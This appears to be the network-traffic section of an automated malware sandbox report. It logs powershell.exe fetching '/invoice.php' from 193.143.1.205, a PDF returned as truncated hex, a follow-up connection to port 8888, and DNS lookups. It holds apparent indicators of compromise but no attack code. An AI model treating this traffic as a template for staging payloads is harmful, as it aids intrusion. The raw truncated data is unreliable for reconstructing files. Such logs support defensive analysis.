Jan 10, 2025 20:52:05.115741968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115752935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.115765095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.115822077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137315989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137334108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137356043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137367964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137379885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137392998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137408018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137425900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137451887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137471914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137474060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137494087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137511015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137516022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137526035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137537956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137553930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137564898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137576103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137587070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137587070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137587070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137609959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137622118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137630939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137630939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137645006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137658119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137684107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137701035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137733936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137747049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137758017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137834072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137875080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137893915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137907028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137917995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137928963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137942076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137944937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137944937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.137964010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137974977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137986898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.137989044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138000011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138011932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138026953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138026953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138106108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138148069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138185024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138196945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138247013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138283014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138283014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138303041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138323069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138336897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138348103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138359070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138371944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138381958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138381958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138389111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138407946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138418913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138447046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138452053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138470888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138484955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138498068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138498068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138506889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138722897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138732910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138751030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138761997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138768911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138781071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.138828993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138828993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138828993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.138828993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139034986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139054060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139065027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139070988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139082909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139087915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139096022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139117002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139127970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139139891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139153004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139290094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139475107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139484882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139497042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139508963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139518976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139520884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139534950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139542103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139554024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139559984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139566898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139565945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139565945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139578104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139592886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139599085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139605999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139612913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139619112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139631987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139642000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139655113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139663935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139667034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139679909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139689922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139703989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139703989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139703989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139736891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.139941931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139954090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139964104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139975071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.139987946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.140000105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.140000105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.140013933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.140014887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.140047073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.175046921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175118923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175131083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175143957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175144911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.175159931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175172091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175189972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.175192118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.175250053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.185734034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185749054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185765982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185777903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185786963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185800076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185815096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185831070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.185834885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185847998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185859919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.185861111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185875893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185878038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.185894966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185908079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185921907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185925007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.185935974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185947895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185961008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.185964108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.186012030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186017036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.186023951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186037064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186048985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186060905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186079025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.186079025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186100006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.186119080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.186146021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.194804907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225311995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225326061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225336075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225346088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225357056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225369930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225380898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225400925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225414038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225425959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225429058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225436926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225450039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225461006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225475073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225475073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225528002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225542068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225569963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225581884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225593090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225613117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225763083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.225806952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.225936890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:05.268758059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.406333923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:05.604386091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:06.089232922 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:06.094089985 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:06.094232082 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:06.094662905 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:06.099433899 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:06.912827969 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:06.956245899 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:07.708229065 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:52:19.087244987 CET	61340	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:52:32.743655920 CET	63857	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:52:45.165822029 CET	61107	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:52:19.087244987 CET	192.168.2.5	1.1.1.1	0x6277	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:52:32.743655920 CET	192.168.2.5	1.1.1.1	0x34ee	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:52:45.165822029 CET	192.168.2.5	1.1.1.1	0xba64	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 20:52:19.094909906 CET	1.1.1.1	192.168.2.5	0x6277	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:52:32.751068115 CET	1.1.1.1	192.168.2.5	0x34ee	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:52:45.174182892 CET	1.1.1.1	192.168.2.5	0xba64	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6756	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:52:03.666387081 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:52:04.463442087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:52:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:52:04.463488102 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:52:04.463500977 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:52:04.463618040 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:52:04.463741064 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 20:52:04.463752985 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:52:04.463764906 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:52:04.463778973 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:52:04.463793039 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
